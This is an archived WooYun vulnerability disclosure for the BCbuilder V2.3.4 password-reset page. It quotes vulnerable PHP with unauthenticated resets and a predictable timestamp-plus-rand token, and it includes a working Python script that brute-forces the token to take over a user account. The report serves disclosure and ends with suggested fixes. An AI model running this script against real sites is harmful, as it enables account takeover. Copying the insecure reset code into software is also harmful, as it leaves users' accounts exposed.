乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-24: 细节已通知厂商并且等待厂商处理中 2015-04-24: 厂商已经确认,细节仅向厂商公开 2015-04-27: 细节向第三方安全合作伙伴开放 2015-06-18: 细节向核心白帽子及相关领域专家公开 2015-06-28: 细节向普通白帽子公开 2015-07-08: 细节向实习白帽子公开 2015-07-23: 细节向公众公开
最新版。BCbuilder V2.3.4
lostpass.php
if(!empty($_POST["action"])&&$_POST["action"]=="submit"){$info=explode("|",$_POST["userid"]);$sql="select * from ".MEMBER." where userid='$info[0]'";$db->query($sql);$re=$db->fetchRow();if($re["userid"]){$md5=md5(time().rand(0,100));$md5='lock'.substr($md5,5,strlen($md5));$db->query("update ".MEMBER." SET password='$md5' where userid='$info[0]'");$mail_temp=get_mail_template('find_pwd');$con=$mail_temp['message'];$url=$config['weburl']."/lostpass.php?md5=$md5&userid=$re[userid]";$url="<a target='_blank' href='".$url."'>".$url."</a>";$ar1=array('[sitename]','[username]','[findurl]','[contact]');$ar2=array($config['company'],$re['user'],$url,$re['name']);$con=str_replace($ar1,$ar2,$con);send_mail($info[1],$re["user"],$config['company']." PASSWORD",$con);$tpl->assign("email",$info[1]);}elsemsg("lostpass.php");$tpl->assign('p_email',$info[1]);$page="lostpass_steptwo.htm";}
直接发送请求,无需验证。。。(遍历一遍userid,全站用户都无法登陆了)看另外一段代码。
if(!empty($_POST['resetpass'])&&!empty($_POST['newpass'])&&!empty($_GET['md5'])){if($_POST['newpass']!=$_POST['newpass1'])msg("lostpass.php?msg=1&userid=$_GET[userid]&md5=$_GET[md5]");else{$db->query("update ".MEMBER." set password='".md5($_POST['newpass'])."' where userid='$_GET[userid]' and password='$_GET[md5]'");msg("lostpass.php?msg=2");}}
ok。流程如下,发送请求,重置某uid 密码。密码为$md5=md5(time().rand(0,100));$md5='lock'.substr($md5,5,strlen($md5));= =时间戳+rand 100,无压力,爆破。
验证脚本:可能会有些延迟,适当修改增加now。
#coding=utf-8import timeimport datetimeimport urllib2, urllibimport hashlibnow=int(time.mktime(datetime.datetime.now().timetuple()))print nowdata = {'action' : 'submit', 'userid' : '1'}f = urllib2.urlopen( url = 'http://localhost/bbcbuilderv.2.3.4/lostpass.php', data = urllib.urlencode(data) )for i in range(0, 100 + 1): s=hashlib.md5(str(now)+str(i)).hexdigest() s="lock"+s[5:] data = {'resetpass' : '1','newpass' : '123456','newpass1':'123456'} f = urllib2.urlopen( url = 'http://localhost/bbcbuilderv.2.3.4/lostpass.php?userid=1&md5='+s, data = urllib.urlencode(data) )
随机数弄长点?重置密码请求再加个验证?
危害等级:低
漏洞Rank:2
确认时间:2015-04-24 16:15
正在处理中
暂无